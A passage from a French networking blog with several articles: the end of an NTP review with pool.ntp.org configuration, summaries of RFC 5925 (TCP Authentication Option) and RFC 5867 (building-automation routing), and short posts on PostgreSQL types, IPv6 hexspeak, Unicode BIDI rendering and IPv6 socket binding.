  +~129.237.32.2     192.43.244.18   2   16    64   377    44.8    3.05     0.9
  +~128.118.25.3     128.118.25.12   2   48    64   377    39.7    5.50     1.4
 * master (synced), # master (unsynced), + selected, - candidate, ~ configured

Tout le monde n'a pas forcément un serveur NTP chez lui, ni un fournisseur qui lui en procure un de qualité. Il est donc pratique de faire appel à des serveurs publics. Pour cela, le projet pool.ntp.org enregistre dans le DNS l'adresse IP des volontaires qui participent au service ntp.pool.org (il ne semble pas que ces serveurs soient déjà passés en NTP v4). Il suffit au client de mettre dans sa configuration :

server pool.ntp.org
server pool.ntp.org
server pool.ntp.org
server pool.ntp.org

pour se synchroniser à quatre serveurs, pris au hasard parmi les volontaires. Notez bien que le fait de répéter la même ligne quatre fois n'est pas une erreur. Chacune de ces lignes va déclencher une requête DNS qui donnera à chaque fois une liste d'adresses IP dans un ordre différent :

% dig +short A  pool.ntp.org   
91.208.102.2
195.83.66.158
81.19.16.225
87.98.147.31
88.191.77.246

% dig +short A  pool.ntp.org
88.191.77.246
91.208.102.2
195.83.66.158
81.19.16.225
87.98.147.31

% dig +short A  pool.ntp.org
87.98.147.31
88.191.77.246
91.208.102.2
195.83.66.158
81.19.16.225

Pour être sûr d'avoir des adresses différentes, il suffit de préfixer les noms par un chiffre :

server 1.pool.ntp.org
server 2.pool.ntp.org
server 3.pool.ntp.org
server 4.pool.ntp.org

Vu avec ntpq, on pourra avoir, par exemple :

% ntpq 
ntpq> peers
     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
 ks34176.kimsufi 193.52.184.106   2 u  25d 1024    0    1.116   -4.039   0.000
*ns1.azuria.net  193.67.79.202    2 u  116  256  377    1.412   -1.931   0.647
+mail1.vetienne. 129.240.64.3     3 u  208  256  377    1.657  -18.063   3.348
+ntp1.adviseo.ne 209.81.9.7       2 u  114  256  377    1.001   -3.440   1.622
ntpq> 

où des machines d'hébergeurs très différents sont utilisées, NTP choisissant le meilleur (atteignable, proche, faible gigue, etc). Bien sûr, pool.ntp.org n'offre aucune sécurité, puisque rien ne dit qu'un méchant ne s'est pas glissé dans le lot dans le but de perturber vos horloges. Mais c'est un service gratuit, fourni par la communauté et globalement de très bonne qualité. À noter que ceux qui réalisent un système d'exploitation peuvent demander un sous-domaine, pour y mettre par défaut leur machine. C'est ce que fait, par exemple, Debian et une machine Debian sera configurée par défaut avec quelque chose du genre :

server 0.debian.pool.ntp.org
server 1.debian.pool.ntp.org
server 2.debian.pool.ntp.org
server 3.debian.pool.ntp.org

NTP a nécessité la création de trois registres à l'IANA (section 16) dont :

Sinon, une bonne lecture sur NTP et ses algorithmes est le « How Does NTP Work? », de Kevin Sookocheff.


Téléchargez le RFC 5905


L'article seul

RFC 5925: The TCP Authentication Option

Date de publication du RFC : Juin 2010
Auteur(s) du RFC : J. Touch (USC/ISI), A. Mankin (Johns Hopkins University), R. Bonica (Juniper)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 22 juin 2010


Un des problèmes traditionnels de sécurité de l'Internet est la difficulté à s'assurer que le correspondant est bien celui qu'il prétend être. Même une authentification au niveau de l'application ne suffit pas car rien ne garantit qu'un attaquant ne va pas se glisser dans la communication après l'authentification. En effet, rien ne lie la connexion TCP sous-jacente (couche 4) à la communication authentifiée en couche 7. Ce risque de détournement d'une connexion authentifiée est particulièrement important pour les longues sessions comme celles entre deux routeurs BGP ou LDP. Deux méthodes ont été normalisées pour cela, IPsec (RFC 4301) et TLS (RFC 5246). La première, complexe à déployer entre organisations, n'a pas été un grand succès et la seconde nécessite une adaptation des protocoles applicatifs. Que reste t-il comme solution ?

Il y en a bien d'autres, bien sûr, comme SSH, mais plusieurs protocoles, à commencer par BGP, n'avaient pas envie de s'adapter et cherchaient à sous-traiter le problème de l'authentification et de l'intégrité de la connexion à des couches inférieures, IP ou TCP. La complexité d'IPsec en ayant fait reculer beaucoup, la solution de loin la plus fréquente dans le monde des opérateurs BGP (cf. RFC 4953) était la signature TCP du RFC 2385. Elle fonctionne en calculant un condensat cryptographique du paquet TCP et d'un secret partagé entre les deux machines (MD5 password dans le vocabulaire BGP). Grâce à l'inclusion de ce secret, un tiers, même s'il a accès au réseau sous-jacent, ne peut pas injecter de paquets TCP prétendant venir du pair.

Cette technique fonctionne mais a de nombreuses limites, comme le fait d'être lié à une fonction de hachage particulière, MD5, que des années de cryptanalyse ont laissé en piteux état. Notre RFC 5925 la remplace donc par une meilleure solution, l'option TCP d'authentification.

Cette option offre en outre une meilleure protection contre le rejeu, et d'une manière générale une meilleure spécification. La section 1 du RFC rappelle le long historique de cette option. La section 3 résume les raisons de son introduction : la principale est le perfectionnement régulier des attaques contre MD5, alors que le RFC 2385 ne permet pas d'utiliser d'autres algorithmes. En prime, il ne permet pas de changer les clés facilement (aucune fonction de gestion de clés, même très sommaire).

La section 3 présente aussi les principes du nouvel algorithme : fonctionnement identique à celui de son prédécesseur (calcul d'un condensat cryptographique sur le paquet, avec concaténation d'un secret), pas de solution complète de gestion de clés (l'espace pour les options dans l'en-tête TCP est bien trop faible pour cela), mais il fonctionne avec plusieurs algorithmes. D'une manière générale, il suit les recommandations du cahier des charges (jamais publié en RFC) draft-bellovin-tcpsec (voir aussi la section 12 pour un bilan détaillé de cette nouvelle option par rapport à son cahier des charges).

Quelles sont les applications possibles de cette option d'authentification (section 3.1) ? Essentiellement les sessions TCP de longue durée comme avec BGP (où les sessions de plusieurs semaines ne sont pas rares). Si tous les exemples actuels d'usage concernent des protocoles de routage, l'option ne leur est pas spécifique (même si le RFC ne le cite pas, on peut penser aussi aux longs flux de certaines applications de communication audio ou vidéo, dont la session de contrôle peut utiliser TCP). Comme IPsec est la solution officielle de l'IETF à tous les problèmes de sécurité, la même section rappelle que cette option ne remplace pas IPsec, même si personne n'en tiendra compte. La section 3.1 note aussi que l'option d'authentification TCP de notre RFC ne protège que la session, pas les données qui y transitent, qui ont pu être relayées par plusieurs acteurs (dans le cas de BGP, par plusieurs routeurs). TCP-AO (TCP Authentication Option) ne remplace donc pas les différents projets de BGP « sécurisé ». Bref, TCP-AO enrichit la palette des outils de sécurisation des protocoles mais ne prétend absolument pas être la solution à tous les problèmes.

La section 3.2 fournit un résumé de la nouvelle option TCP-AO. Elle utilise le mécanisme d'options décrit dans la section 3.1 du RFC 793, avec un nouveau numéro, 29, réservé à l'IANA (cf. section 14 du RFC), différent du numéro 19 du RFC 2385.

Contrairement à IPsec, TCP-AO n'a pas de Security Index (un identificateur unique pour une association de sécurité) explicite mais utilise pour cela le 4-tuple {adresse IP source, port source, adresse IP de destination, port destination}. Il ne permet pas le chiffrement et donc n'assure pas la confidentialité des données, seulement leur authentification et leur intégrité. De plus, il est spécifique à TCP et ne protège donc pas les paquets ICMP (cf. section 9.8).

La section 4 spécifie rigoureusement la nouvelle option numérotée 29. Son format figure en section 4.2 (l'ancien est rappelé en 4.1). La principale nouveauté est le champ KeyID, un octet qui indique la structure de données qui a été utilisée pour générer les clés de session. Cette structure, le MKT (Master Key Tuple) est décrite en détail en section 5.1. Il est important de noter que l'algorithme de hachage choisi n'apparait pas dans l'option TCP-AO (contrairement à des protocoles comme, par exemple, DNSSEC) mais qu'on l'obtient indirectement.

Et la gestion des clés ? Comment se fait-elle avec TCP-AO ? La section 5 explique les deux jeux de clés de TCP-AO : les clés maîtresses (MKT, pour Master Key Tuple) et les clés de session (traffic keys). Les MKT contiennent les paramètres de cryptographie, et elles servent à fabriquer des clés de session. Le MAC dans les paquets TCP est calculé à partir des clés de session.

Les MKT sont présentées en détail en section 5.1. Une MKT comprend :

  • L'identificateur du MKT. C'est une paire, l'identificateur d'émission, qui se retrouvera dans le champ KeyID du paquet émis, et l'identificateur de réception, qui sert pour le paquet reçu.
  • Un identifiant de connexion TCP, {adresse IP source, port source, adresse IP de destination, port destination}. Certains des éléments de ce tuple peuvent être spécifiées par un intervalle (par exemple, « ports de 8080 à 8099 ») ou même par un joker (*).
  • La clé elle-même.
  • L'algorithme de hachage utilisé (voir section 7.1), par exemple SHA-1.
  • Le choix de traitement des autres options TCP (les met-on dans le MAC ou pas ?).

Le MKT doit rester stable pendant toute une connexion TCP.

À partir du MKT va être calculée la clé de session (section 5.2), en incluant des paramètres supplémentaires comme l'ISN (Initial Sequence Number, voir la section 3.3 du RFC 793), en utilisant une fonction cryptographique nommé KDF (Key Derivation Function).

L'un des plus nets avantages de TCP-AO sur l'ancienne méthode du RFC 2385 est la possibilité de changer d'algorithme de hachage. La section 7 décrit les mécanismes généraux, les algorithmes actuellement utilisables étant dans un autre document, le RFC 5926 (en effet, comme l'ont montré les attaques contre MD5 et SHA-1, les algorithmes de cryptographie doivent être changés plus souvent que les protocoles, ce qui justifie un document séparé, qui rendra plus simple ce changement). Un autre registre IANA existe, pour ces algorithmes. La section 7.1 rappelle le fonctionnement d'un MAC : en échange d'une suite de bits et d'une clé, la fonction de hachage produit un résumé. Si la fonction de hachage est cryptographiquement bien choisi, on ne peut pas (autrement que par force brute) fabriquer une suite de bits qui donne le même résumé. L'ajout de la clé sert à assurer en outre que la suite de bits vient bien de l'émetteur attendu, seul, avec le récepteur, à connaître la clé.

La même section décrit précisement les parties du paquet qui doivent être utilisées comme point d'entrée pour la fonction de calcul du MAC. On y trouve le « pseudo-en-tête » IP comme dans la section 3.1 du RFC 793 mais aussi l'en-tête TCP (avec ou sans les options, comme indiqué dans la MKT) et les données.

Suivant le même modèle, la section 7.2 décrit le fonctionnement de la KDF, qui permet de calculer la clé de session à partir de la MKT. Un des paramètres d'entrée est l'état de la connexion TCP (incluant par exemple les numéros de séquence TCP initiaux), faisant ainsi des clés de session uniques par connexion TCP.

Rappelons que TCP-AO ne fournit pas une solution complète de gestion de clés. Il ne permet pas d'en changer de manière synchronisée en cours de session (contrairement à TLS), il ne permet pas de les négocier au début de la session... Tout doit se faire out-of-band. La section 7.3, consacrée aux clés, recommande juste de suivre les bonnes pratiques habituelles, comme déjà recommandé par le RFC 3562. Les utilisateurs doivent donc veiller par eux-mêmes à ce que les clés aient une longueur suffisante, doivent éviter de partager les MKT entre connexions indépendantes (par exemple avec des pairs BGP différents), etc.

TCP-AO fournit toutefois quelques mécanismes pour jouer avec les clés, comme l'indication de l'identificateur de la MKT, qui permet de coordonner le passage d'une MKT à une autre (section 8.1). Le choix des MKT et l'attribution des identificateurs se fait en dehors du protocole mais le démarrage de l'utilisation effective peut être synchronisé par le champ KeyID de TCP-AO.

D'autres mécanismes de sécurité sont décrits en section 8, comme les solutions anti-rejeu de la section 8.2. Comme les numéros de séquence TCP ne sont stockés que sur 32 bits, et qu'ils peuvent donc légitimement être réutilisés pendant une connexion TCP de longue durée, TCP-AO ajoute une extension à ces numéros, la SNE (Sequence Number Extension) qui, combinée avec le numéro de séquence, donne effectivement un numéro unique à chaque octet transmis. (Ou quasi-unique puisqu'il ne sera réutilisé qu'au bout de 100 exa-octets transmis. Et rappelez-vous que la MAC inclus les données donc une collision accidentelle ne se produira que si le numéro de séquence et les données sont identiques. En pratique, on peut dormir tranquille.)

La meilleure cryptographie du monde ne sert que s'il y a une liaison solide avec le canal qu'elle protège. La section 9 discute donc des interactions entre TCP et son option d'authentification TCP-AO. D'abord, l'interface de programmation (section 9.1). Aux commandes classiques de TCP (OPEN, SEND, etc, ou, pour utiliser les termes de l'API socket, connect(), write(), etc) viennent s'ajouter des commandes pour configurer les MKT, et pour choisir la MKT active. J'avoue ne pas savoir quelle forme elles prendront exactement sur Unix.

Ensuite, TCP lui-même doit être modifié pour, si une MKT est active, signer les données et inclure cette signature dans le champ Options du segment. Il faut aussi évidemment la vérifier à la réception (sections 9.4 et 9.5). Cet ajout dans un champ Options dont la taille est très limitée (40 octets en tout) ne va pas sans mal. La section 9.6 discute de la taille de l'en-tête et explique que, si on utilise TCP-AO, on ne peut pas espérer utiliser en même temps toutes les autres options TCP normalisées.

Aucune solution de sécurité n'est parfaite et toutes apportent leurs propres problèmes. La réduction de la place libre pour les options est un bon exemple. Un autre est le cas d'une machine qui redémarre alors qu'une connexion TCP était ouverte. Sans TCP-AO, elle enverra des paquets RST (ReSeT) lors de la réception des paquets TCP de son pair, puisque ces paquets ne correspondront à aucune connexion connue, le souvenir s'étant perdu lors du redémarrage. Cela permettra d'informer rapidement le pair que la connexion TCP doit être considérée comme terminée. Avec TCP-AO, ce n'est plus possible : la machine ayant tout oublié, y compris les clés de session, elle ne peut plus construire des segments TCP authentifiés. Ses RST seront donc ignorés par le pair, qui devra donc attendre l'expiration d'un délai de garde pour comprendre que la connexion TCP est finie (section 9.7 du RFC). C'est dommage mais c'est fait exprès : empêcher les RST « pirates » était après tout une des principales motivations pour l'authentification TCP. Notre RFC recommande donc d'utiliser les keepalives du RFC 1122 ou bien ceux fournis par les applications utilisés (keepalives BGP du RFC 4271 ou bien les options ClientAlive* ou ServerAlive* de OpenSSH). Ces solutions ne sont pas parfaites (pour BGP, il est recommandé d'ajouter le démarrage en douceur du RFC 4724.) Une autre option est d'enregistrer les clés de session sur disque.

Comme vu plus haut, TCP-AO ne protège que TCP, pas les éventuels paquets ICMP qui se glisseraient dans la communication. La recommandation de notre RFC (section 9.8) est donc d'accepter avec prudence et conservatisme les paquets ICMP. Par exemple, les paquets ICMP ayant le type 3 (Destination unreachable et les codes 2 à 4 (protocol unreachable, port unreachable, ...) devraient être ignorés, car ils peuvent casser une connexion TCP-AO, sans avoir eux-même besoin de s'authentifier. La même section demande que ce comportement soit configurable. Cette recommandation est analogue à celle qui s'applique à IPsec (section 6.1.1 du RFC 4301).

Normalement, la spécification du protocole devrait s'arrêter là. Mais, dans le monde réel, il faut aussi tenir compte des engins intermédiaires (middleboxes, RFC 3234) qui examinent les paquets et se permettent de les rejeter ou de les modifier s'ils ne correspondent pas à leurs préjugés. La section 11 couvre les interactions avec ces engins (certains routeurs, les pare-feux, etc). Si la middlebox ne modifie pas les adresses IP, TCP-AO devrait passer sans problème. Si elle change certaines options TCP, il faut configurer TCP-AO pour ignorer les options dans le calcul de la MAC, ce qui affaiblit la sécurité (puisqu'un attaquant pourrait en faire autant, par exemple en supprimant le window scaling ce qui empêcherait le fonctionnement normal de TCP).

Mais si la middlebox change les adresses IP, ce qui est le cas des routeurs NAT (section 11.2), TCP-AO ne peut plus fonctionner du tout. Les seules solutions sont d'encapsuler le flux TCP ou de compter sur l'extension NAT du RFC 6978.

Et les implémentations ? À l'heure actuelle, rien dans Linux (il y a un projet), FreeBSD ou NetBSD. Et je ne connaissais pas non plus de mise en œuvre pour les routeurs Cisco ou Juniper, sans doute en partie en raison des innombrables brevets qui infestent le secteur informatique. Fin 2011, lorsque la question avait été étudiée à l'IETF pour un autre protocole, la conclusion avait été qu'AO restait toujours uniquement sur le papier, hélas. Depuis, il semble (2017) que Juniper ait une mise en œuvre d'AO. Vous trouverez davantage d'informations concrètes sur ce dépôt GitHub.


Téléchargez le RFC 5925


L'article seul

Créer ses propres types de données avec PostgreSQL

Première rédaction de cet article le 18 juin 2010
Dernière mise à jour le 21 juin 2010


Une des grands forces du SGBD PostgreSQL est la possibilité de créer ses propres types de données. Voici deux exemples complets et expliqués, un pour les nombres rationnels, l'autre pour les noms de domaine.


L'article complet

Jouer avec les adresses IPv6

Première rédaction de cet article le 15 juin 2010


Plus longue que les adresses IPv4, et écrites en hexadécimal, les adresses IPv6 se prêtent bien à des jeux divers.

Cette propriété de l'hexadécimal est bien connue et l'excellent article de Wikipédia, Hexspeak, en donne de nombreux exemples. Plus complexe, le très bon article «  IPv6 playtime: Hiding sentences inside addresses » montre de véritables phrases écrites en IPv6. Il existe même un programme pour générer des mots en hexadécimal.

Ces jeux sont-ils utilisés dans les adresses IP réelles ? Depuis que ce blog est accessible en IPv6, voici quelques exemples vu dans le journal du serveur HTTP (j'ai simplement « anonymisé » en remplaçant le préfixe par celui du RFC 3849) :

  • 2001:db8::dead:beef (un grand classique),
  • 2001:db8::babe (également),
  • 2001:db8::dcaf:bad (bonne blague sur le décaféiné, que j'ai rarement trouvé documentée),
  • 2001:db8::fada (une adresse IPv6 provençale...),
  • 2001:db8::fade (une adresse sans goût ?).

Si riches que soient les deux articles cités plus haut, toutes les possibilités n'y sont pas par exemple (merci à Greg Daley pour l'exemple), permettre à une grosse multinationale d'avoir un préfixe à elle, 2001:c0ca:c01a::/48 ou bien le vieux projet du début des années 2000 d'allouer 2001:Af::/32 au futur AfriNIC. Je n'ai pas non plus encore vu, ni dans les articles cités, ni dans le journal de mon serveur, des adresses comme 2001:db8::C0:FFEE...


L'article seul

L'affichage BIDI est plein de surprises

Première rédaction de cet article le 14 juin 2010


L'algorithme BIDI d'Unicode est complexe et peut donner des résultats surprenants. Comment, lorsque BIDI a pris la mauvaise décision, forcer l'affichage que l'on veut ?

Certaines écritures sont de gauche à droite comme, aujourd'hui, l'alphabet latin et d'autres sont de droite à gauche, comme l'alphabet arabe. Lorsqu'un texte est entièrement dans une écriture de gauche à droite, ou entièrement de droite à gauche, pas de problème. C'est lorsqu'on mixe les deux types d'écriture que les problèmes surviennent. Prenons un exemple classique, le Hello world du BIDI, « Ari dit מזל טוב et sourit. » Le texte en français, écrit en alphabet latin, est de gauche à droite puis le sens change subitement pour le texte en alphabet hébreu puis revient à son sens original pour le français.

Mixer les deux types d'écriture est courant dans le monde réel : regardez par exemple la page Web en arabe décrivant un module Apache, avec des sigles en alphabet latin que les programmeurs Web reconnaitront. Composer un tel texte n'est pas évident : l'algorithme standard pour cela est l'algorithme Bidi, normalisé dans l'Unicode Standard Annex #9. Je ne vais même pas essayer de résumer ce texte complexe. Disons simplement que certains caractères, notamment les lettres, ont une directionnalité (de gauche à droite ou de droite à gauche). Le moteur de rendu doit suivre cette directionnalité. Que faire lorsque le caractère n'a pas de directionnalité (cas des chiffres ou de la ponctuation) ? La directionnalité utilisée est alors celle du dernier caractère ayant une directionnalité. Cela donne parfois des résultats surprenants. BIDI n'est qu'un algorithme, après tout, et ne comprend pas forcément toutes les subtilités. Prenons ce texte :

Voici mes photos de قرقنة (10 juin 2010).

Pourquoi ce résultat illisible ? Dans le texte ci-dessus, le moteur de rendu se met à écrire de droite à gauche lorsqu'il rencontre le premier caractère arabe et ne change qu'au premier caractère latin, le J de juin. Le 10 et la parenthèse ouvrante se retrouvent donc au mauvais endroit. Le texte erroné ci-dessus est pourtant conforme à l'algorithme BIDI et donc tous les navigateurs Web standard auront le problème. (Firefox, depuis au moins la version 52, ne respecte plus BIDI et donc affiche un résultat « correct ».)

Comment peut-on faire ? Il existe plusieurs solutions :

  • On peut simplement changer le texte pour mettre des caractères ayant une directionnalité (des lettres, typiquement).
  • On peut forcer la directionnalité en utilisant l'attribut HTML dir.
  • On peut forcer la directionnalité avec les marques de directionnalité Unicode, les caractères U+200E et U+200F.

Voici un exemple de la première technique, le texte a été modifiée, BIDI a un comportement bien plus naturel :

Voici mes photos de قرقنة prises le 10 juin 2010.

On n'a évidemment pas forcément envie de modifier son texte. Voici donc une seconde version, avec l'attribut dir de HTML (regardez le source de cette page pour voir comment c'est fait) :

Voici mes photos de قرقنة (10 juin 2010).

Et la troisième solution, les marques Unicode ? L'Unicode Technical Report #20 déconseille leur usage pour HTML et XML. Mais, évidemment, tous les textes ne sont pas forcément dans ces formats. Dans le cas de documents en dehors de ce monde XML, ces marques sont une bonne solution. Voici un exemple de leur utilisation (U+200E est la marque gauche-à-droite et U+200F celle droite-à-gauche) :

Voici mes photos de قرقنة ‎(10 juin 2010).

Pour le cas particulier des noms de domaine, on peut consulter les règles BIDI du RFC 5893.

À noter que le problème n'a évidemment rien à voir avec l'encodage du texte puisque HTML sépare complètement l'encodage du modèle de caractère (qui est toujours Unicode, quel que soit l'encodage du source).


L'article seul

RFC 5867: Building Automation Routing Requirements in Low Power and Lossy Networks

Date de publication du RFC : Juin 2010
Auteur(s) du RFC : J. Martocci (Johnson Controls), Pieter De Mil (Ghent University), W. Vermeylen (Arts Centre Vooruit), Nicolas Riou (Schneider Electric)
Pour information
Réalisé dans le cadre du groupe de travail IETF roll
Première rédaction de cet article le 12 juin 2010


Nouveau « cahier des charges » du groupe de travail ROLL de l'IETF, ce RFC décrit les exigences du protocole de routage des réseaux difficiles (peu de courant et beaucoup de parasites), pour le cas des immeubles de bureaux. Le cas de la maison avait été traité dans le RFC 5826.

Les immeubles de bureaux sont remplis de systèmes techniques complexes, collectivement dénommés HVAC (pour Heating, Ventilation and Air Conditioning, même s'il faut ajouter les ascenseurs, les alarmes incendie, l'éclairage, etc). Ces systèmes tendent de plus en plus à être informatisés, puis à communiquer entre eux, ou bien avec une centrale de contrôle. Les exigences particulières de cet environnement (par exemple le fait que certains appareils fonctionnent sur batterie et ne doivent donc pas gaspiller l'énergie) font que les mécanismes de routage IP traditionnels ne sont pas forcément adaptés.

Autrefois, de tels systèmes étaient connectés, comme le rappelle le RFC, par un lien pneumatique, maintenant, c'est un réseau informatique local, qui doit pouvoir être partitionné en sous-réseaux, reliés par des routeurs. Notre RFC se penche donc sur le futur protocole de routage.

J'ai parlé d'une centrale de contrôle. En fait, il s'agit d'un système de contrôle bien plus complexe, en général dénommé FMS (pour Facility Management System, en Europe, on dit plutôt BMS pour Building Management System, et GTB en français) et qui a la lourde responsabilité de piloter des immeubles allant jusqu'au gratte-ciel de cent étages et de cent mille mètres carrés de surface totale (à noter que le RFC, suivant les mœurs du BTP états-unien, utilise encore les pieds carrés...) ou bien à des immeubles très complexes comme le Pentagone.

La section 3 du RFC décrit l'organisation générale d'un FMS. En 3.2, on découvre le bestiaire qui peuple un immeuble de bureaux (capteurs, contrôleurs, etc). En 3.3, les méthodes utilisées pour l'installation de cet équipement. Le réseau informatique traditionnel est installé en commençant par le câblage, puis les équipements actifs, puis enfin les terminaux. Le FMS, au contraire, croît à partir d'équipements installés immédiatement, puis connectés petit-à-petit et ensuite reliés aux systèmes centraux, voire au réseau informatique « normal » (voir aussi section 5.6). Les raisons de cette méthode sont en bonne partie organisationnelles : tous les corps de métier n'accèdent pas au bâtiment en même temps. D'autre part, certains systèmes de sécurité (comme la détection incendie) doivent être en place très tôt dans la vie de l'immeuble, avant qu'on ne branche l'électricité partout. Le système de détection du feu ne peut donc pas compter sur des serveurs DNS ou DHCP déjà en place.

Enfin, la section 3.4, très détaillée et où le lecteur informaticien qui n'a pas d'expérience du bâtiment apprendra bien des choses, explique les problèmes spécifiques liés à la densité des machines. Par exemple, la tendance actuelle à la vidéo-surveillance a nettement accru le nombre de caméras, et celles-ci sont inégalement réparties. Autrefois, de tels systèmes utilisaient des réseaux fermés mais, aujourd'hui, c'est de plus en plus souvent un bête réseau IP qui connecte les caméras. (Elles posent d'autres problèmes, comme le débit de données important qu'elles fournissent, par rapport aux équipements FMS traditionnels.)

Tiens, à propos de capacité nécessaire, quelles sont les caractéristiques du trafic des équipements de l'immeuble ? La section 4 analyse quantitativement (200 octets pour un message typique au contrôleur, envoyé toutes les minutes..., 30 % des paquets restent sur le réseau local et 70 % ont besoin d'être routés...) et qualitativement (lors d'une coupure de courant, le plus dur est la reprise, lorsque les machines alimentées par batterie vont tout à coup essayer de transmettre les données qu'elles avaient stockées) le trafic sur le réseau du FMS.

Puis le cœur de notre RFC, la section 5, expose le cahier des charges proprement dit. Comme l'installation est souvent faite par des non-informaticiens (des électriciens, par exemple), tout le réseau doit pouvoir être auto-configurable, sans aucune action humaine (section 5.1.1). Le routage doit pouvoir commencer tout de suite (section 5.1.2), sans intervention d'un administrateur réseaux.

Le réseau doit pouvoir fonctionner pour des immeubles de cent mille mètres carrés. Le RFC demande que les protocoles marchent avec des réseaux de deux mille machines, dont la moitié routent des paquets pour le compte des autres (section 5.2.1). Un sous-réseau (par exemple une pièce) doit accepter 255 machines. Et chaque machine doit pouvoir parler directement à n'importe quelle autre, en pair-à-pair. Par exemple, si les tours de refroidissement sont sur le toit et le refroidisseur dans le sous-sol, vue sa taille, ils doivent néanmoins pouvoir se parler (section 5.2.2).

La plupart des machines dans l'immeuble sont fixes, accrochés au mur ou dans un faux plafond. Il n'y a donc pas d'énormes exigences de mobilité (section 5.3). Toutefois, les équipements mobiles se répandent et le RFC ajoute donc quelques demandes pour eux :

  • Possibilité d'exclure les engins en déplacement des fonctions de routeur (section 5.3.1),
  • Moins de cinq secondes après un déplacement pour pouvoir parler sur le réseau à nouveau, si on est restés sur le même sous-réseau (et dix autrement),

Les équipements de l'immeuble sont souvent très limités dans leurs ressources matérielles. La section 5.4 liste donc les règles à suivre pour ne pas les épuiser :

  • Le logiciel doit pouvoir tourner sur un processeur 8-bits avec 128 ko de mémoire flash (section 5.4.1), et sur 256 ko si la machine sert à router les paquets (avec seulement 8 ko de RAM),
  • Un capteur typique doit pouvoir durer cinq ans avec une batterie de 2000 mAh (pour un transmetteur de 25 ma et une émission par minute, section 5.4.3). Le logiciel doit donc absolument être économe et ne pas provoquer des émissions inutiles. Le RFC demande de garder un message (et de retransmettre) pendant au moins 20 secondes si le destinataire ne répond pas (il peut être en train de dormir pour économiser sa batterie).

Il existe aussi des exigences pour la sélection des routes. Ainsi, le RFC demande que les applications prioritaires (alarme incendie, par exemple) puissent prendre le pas sur les autres (section 5.7.7).

Enfin, le cahier des charges se conclut par une longue section sur la sécurité (section 5.8). D'abord, s'il y a une configuration de la sécurité, celle-ci doit pouvoir être faite via le réseau (beaucoup d'équipements seront en effet peu accessibles). Cette configuration par le réseau est délicate à réaliser mais nécessaire puisque le même équipement peut être installé dans des immeubles aux règles de sécurité très variables (petite entreprise banale vs. bâtiment Seveso). Idéalement, toute communication devrait être chiffrée, puisqu'on ne peut pas espérer qu'il n'y ai jamais de méchant indiscret sur le trajet. Mais, d'un autre côté, les équipements installés dans l'immeuble ont souvent des moyens limités et la cryptographie coûte cher. Le RFC demande donc simplement que les deux arguments, de sécurité et d'économie, soient pris en considération.

Une autre règle sur le chiffrement (section 5.8.3) est que les protocoles développés par le groupe ROLL doivent inclure le chiffrement mais cela n'implique pas que l'implémentation le permette, ni que le responsable sécurité l'active obligatoirement.

Un cahier des charges tourne toujours facilement à la « lettre au Père Noël », où on accumule des dizaines de demandes toutes plus irréalistes que les autres. La valeur d'un bon cahier des charges n'est donc pas dans les demandes mais plutôt dans ce que les auteurs ont eu le courage d'écarter. Pour ce RFC, ces exigences non retenues ont fini dans l'annexe A : intéressantes idées mais qui ne sont pas considérées par le groupe de travail ROLL comme obligatoires. Par exemple, la section A.3.5 dit que cela serait sympa si le protocole de routage permettaient à certains routeurs, les plus limités en mémoire, de ne garder qu'une partie des routes. La A.4.1 voudrait bien imposer une limite basse de capacité à 20 Kb/s...

Merci à Nicolas Riou pour sa relecture (mais, bien évidemment, les erreurs sont de moi).


Téléchargez le RFC 5867


L'article seul

Lier une prise à IPv6 seulement ou bien aux deux familles, v4 et v6 ?

Première rédaction de cet article le 11 juin 2010
Dernière mise à jour le 3 mars 2013


Parmi les nombreuses questions que soulève le déploiement d'IPv6, il y en a une qui ne semble pas progresser : lorsqu'un programmeur branche une prise, celle-ci doit-elle écouter en IPv6 ou bien dans les deux protocoles, c'est-à-dire également en IPv4 ? La question resurgit régulièrement, fait l'objet de polémiques, mais il ne semble pas y avoir encore de consensus.

Pour comprendre le problème, voyons le cas d'un serveur simple, écrit en C dont le programmeur n'a pas très envie de créer deux prises (une pour v4 et une pour v6) et d'utiliser select(). Ce n'est pas qu'il est paresseux, c'est simplement qu'il ne voit pas pourquoi son serveur, qui travaille en couche 7, devrait se préoccuper du protocole de couche 3. S'il écrit simplement (le code complet figure en server-v4v6-bind.c) :

   me->sin6_family = AF_INET6;
   me->sin6_addr = in6addr_any;
   me->sin6_port = htons(PORT);
   bind(fd, me, struct_sockaddr_size);

Le serveur va t-il écouter en IPv6 seulement ? Eh bien, cela dépend. Sur Linux, avec le réglage par défaut le plus courant, non, ce code fera un serveur v6 et v4. Il pourra alors recevoir des connexions aussi bien de clients v4 que de clients v6, et avec une seule prise. le serveur affichera :

One connection accepted from ::ffff:192.168.2.25
One connection accepted from 2a01:e35:8bd9:8bb0:21c:23ff:fe00:6b7f

la première connexion provenant d'une adresse IPv4 (à la syntaxe définie dans la section 2.5.5.2 du RFC 4291) et la seconde d'une v6.

À quoi est-ce dû ? À une option sysctl très pratique, /proc/sys/net/ipv6/bindv6only. Si le contenu de ce fichier vaut 0, le cas le plus fréquent, une prise de la famille AF_INET6 écoute sur les deux protocoles. Ce mécanisme est celui recommandé dans la section 3.7 du RFC 3493 ou bien par l'OpenGroup. On peut aussi lire la section 4 du RFC 4038. Ce mécanisme est très simple pour le programmeur et lui permet de traiter le vieux protocole IPv4 comme un simple cas particulier.

Par contre, si ce fichier contient 1 (qui se lit « bindv6only est VRAI donc je n'écoute qu'en v6 »), le serveur ne servira que les clients IPv6 (nettement moins nombreux, à l'heure actuelle). Il est donc préférable pour le programmeur Linux que cette option soit à 0. Le problème est que ce n'est pas garanti. L'administrateur système a pu la mettre à 1 et l'application n'a pas de moyen de changer cette valeur (il faudrait être root).

Pire, certains systèmes d'exploitation utilisant un noyau Linux ont pu décider de changer la valeur par défaut et la grande majorité des machines utilisant ces systèmes vont alors avoir /proc/sys/net/ipv6/bindv6only à 1. C'est le cas de Debian. Vous pouvez consulter le texte de la décision originelle en octobre 2009 (pas du tout convaincant, selon moi) ou bien les opinions opposées ou encore un des nombreux rapports de bogue critiquant cette décision et demandant un retour à la valeur initiale de 0 (bogues #576633, #560056, #560238, etc). Cette décision a en effet cassé pas mal de programmes comme le JRE d'Oracle (voir le rapport de bogue) .

